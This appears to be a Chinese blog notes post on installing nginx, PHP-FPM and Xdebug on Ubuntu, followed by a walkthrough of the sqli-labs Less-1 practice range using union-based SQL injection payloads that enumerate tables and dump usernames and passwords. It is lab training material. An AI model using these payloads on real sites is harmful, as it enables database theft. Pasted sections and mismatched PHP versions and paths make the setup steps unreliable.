ubuntuan安装nginx以及php部署
1.安装依赖包 方法一: root@zbn-virtual-machine:~# apt-get install gcc libpcre3 libpcre3-dev zliblg zliblg-dev openssl libssl-dev 方法二: root@zbn:/# apt install gcc root@zbn:/# apt install libpcre3 libpcre3-dev root@zbn:/# apt install zlib1g zlib1g-dev root@zbn:/# apt-get install openssl root@zbn:/# apt-get install libssl-dev 2.创建文件夹 root@zbn:/# cd /usr/local root@zbn:/usr/local# mkdir nginx root@zbn:/usr/local# cd nginx 3.安装nginx 方法一: 1:在https://nginx.org/en/download.html下载nginx 2:将压缩包通过xtfp传输到ubuntu的/usr/local/nginx目录下 3:root@zbn:/usr/local/nginx# tar -vxf nginx-1.21.6 tar.gz 方法二: 1:下载安装包 root@zbn:/usr/local/nginx# wget https://nginx.org/download/nginx1.21.6.tar.gz 2:解压安装包 root@zbn:/usr/local/nginx# tar -zxvf nginx-1.21.6.tar.gz 3.查看编译环境是否有缺失 root@zbn:/usr/local/nginx/nginx-1.21.6# ./configure 4.编译 root@zbn:/usr/local/nginx/nginx-1.21.6# make && make install 5.启动nginx root@zbn:/usr/local/nginx/sbin# ./nginx
最终结果:
![]()
部署PHP
1.增加php源地址 root@zbn:~# apt-get install software-properties-common root@zbn:~# add-apt-repository -y ppa:ondrej/php root@zbn:~# apt-get install php7.3 2.安装php root@zbne:~# sudo apt-get install php7.3-mysql php7.3-fpm php7.3-curl php7.3-xml 3.修改监听端口 root@zbn:vim /etc/php/7.1/fpm/pool.d/www.conf 4.启动php-fpm,查看9000端口状况 root@zbn:~# sudo service php7.3-fpm start root@zbn:~# netstat -lnt | grep 9000 5.测试 root@zbn:/usr/local/nginx/html# vim web.php
3.修改监听端口
5.测试
Debug安装调试
Debug安装调试 1.VScode远程连接 2.安装PHP Debug 点击 Xdebug installation wizard 进入网站 将web.php的信息复制粘贴 (1) root@admin123-virtual-machine:~# wget https://xdebug.org/files/xdebug-3.3.2.tgz 1 (2) root@admin123-virtual-machine:~# apt-get install php7.3-dev autoconf automake 1 (3) root@admin123-virtual-machine:~# tar -xvzf xdebug-3.3.2.tgz 1 (4) root@admin123-virtual-machine:~# cd xdebug-3.3.2 1 (5) root@admin123-virtual-machine:~# phpize 1 (6) root@admin123-virtual-machine:~/xdebug-3.3.2# ./configure 1 (7) root@admin123-virtual-machine:~/xdebug-3.3.2# make 1 (8) root@admin123-virtual-machine:~/xdebug-3.3.2# cp modules/xdebug.so /usr/lib/php/20230831/ 1 (9) root@admin123-virtual-machine:~/xdebug-3.3.2# vim /etc/php/8.3/fpm/conf.d/99-xdebug.ini 1 (10) root@admin123-virtual-machine:~/xdebug-3.3.2# service php7.3-fpm restart ———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/Sesessep/article/details/140939500
Debug安装调试
1.VScode远程连接
2.安装PHP Debug
点击 Xdebug installation wizard 进入网站
将web.php的信息复制粘贴
我们按照以下步骤一步一步来:
3.第三步
1>复制链接
2>root@zbn:~# wget https://xdebug.org/files/xdebug-2.9.8.tgz
4、root@zbn:~# apt-get install php7.1-dev autoconf automake
5、root@zbn:~# tar -xvzf xdebug-2.9.8.tgz
6、root@zbn:~# cd xdebug-32.9.8
7、root@zbn:~# phpize
8、root@azbn:~/xdebug-2.9.8# ./configure
9、root@zbn:~/xdebug-32.9.8# make
10、root@zbn:~/xdebug-2.9.8# cp modules/xdebug.so /usr/lib/php/20230831/
11、root@zbn:~/xdebug-2.9.8# vim /etc/php/7.1/fpm/conf.d/99-xdebug.ini
12、root@zbn:~/xdebug-2.9.8: service php7.1-fpm restart
遇到这个情况,断点用不了
sql注入 安装靶场
下载靶场解压到phpstudu_pro/WWW
更改数据库配置文件
登入靶场
Setup/reset Database for labs
sql注入流程
1.寻找注入点
http://localhost/sqliabs/Less-1/?id=1

2.判断是数字型还是字符型


字符型
3.判断闭合方式
http://localhost/sqliabs/Less-1/?id=1'
单引号闭合
4.验证输入的内容数据库是否执行,是否存在sql漏洞
若:
http://localhost/sqliabs/Less-1/?id=1’ and 1=1 --+
有显示
http://localhost/sqliabs/Less-1/?id=1' and 1=2 --+
无显示
则存在漏洞
5.判断列数
http://localhost/sqliabs/Less-1/?id=1' order by 10 --+
报错,说明没有10列
http://localhost/sqliabs/Less-1/?id=1' order by 3 --+
没有报错,说明有3列
6.联合查询,判断回显位
http://localhost/sqliabs/Less-1/?id=-1' union select 1,2,3 --+
2,3说明联合查询中的第2第3位的数据会显示到Your Login name和Your Password后
7.查数据库名
http://localhost/sqliabs/Less-1/?id=-1' union select 1,database(),3 --+
数据库名:security
8.查表名
http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3 --+
四张表:emails referers uagents users
9.查列名
http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),3 --+
三个列名:id username password
10.查具体数据
http://localhost/sqliabs/Less-1/?id=-1' union select 1,(select group_concat(username)from users),(select group_concat(password)from users) --+
查出账号密码,成功通关。
Less-02~04通过方式与Less-01基本无异,只是闭合方式不同